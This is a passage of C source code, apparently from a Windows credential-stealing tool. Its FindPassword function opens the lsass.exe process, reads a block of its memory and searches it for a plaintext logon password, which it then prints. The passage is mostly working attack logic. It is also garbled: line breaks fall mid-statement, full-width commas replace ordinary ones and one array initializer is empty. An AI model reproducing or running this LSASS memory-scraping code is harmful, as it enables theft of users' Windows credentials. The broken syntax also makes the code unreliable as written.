}

// End GetLsassPID()

//------------------------------------------------------------------------------------

// Purpose: To Find The Password

// Return Type: BOOLEAN

//

Parameters:

// In: DWORD PID -> The Lsass.exe''s PID

//------------------------------------------------------------------------------------

BOOL FindPassword(DWORD PID)

{

HANDLE hProcess = NULL;

char

Buffer[5 * 1024] = ;

DWORD ByteGet = 0;

int Found = -1;

hProcess = OpenProcess(PROCESS_VM_READ，FALSE，PID); // Open Process

if

(hProcess == NULL)

{

printf("Fail To Open Process\n");

return FALSE;

}

if (!ReadProcessMemory(hProcess，(PVOID)BaseAddress，Buffer，5 *

1024，&ByteGet)) // Read The Memory From Lsass.exe

{

printf("Fail To

Read Memory\n");

CloseHandle(hProcess);

return FALSE;

}

CloseHandle(hProcess);

Found = Search(Buffer，ByteGet); // Search The Password

if (Found >= 0)

// We May Find The Password

{

if (strlen(Password) > 0) // Yes，We

Find The Password Even We Don''t Know If The Password Is Correct Or Not

{

printf("Found Password At #0x%x -> \"%s\"\n"，Found +

BaseAddress，Password);

}

}

else

{

printf("Fail To Find The

Password\n");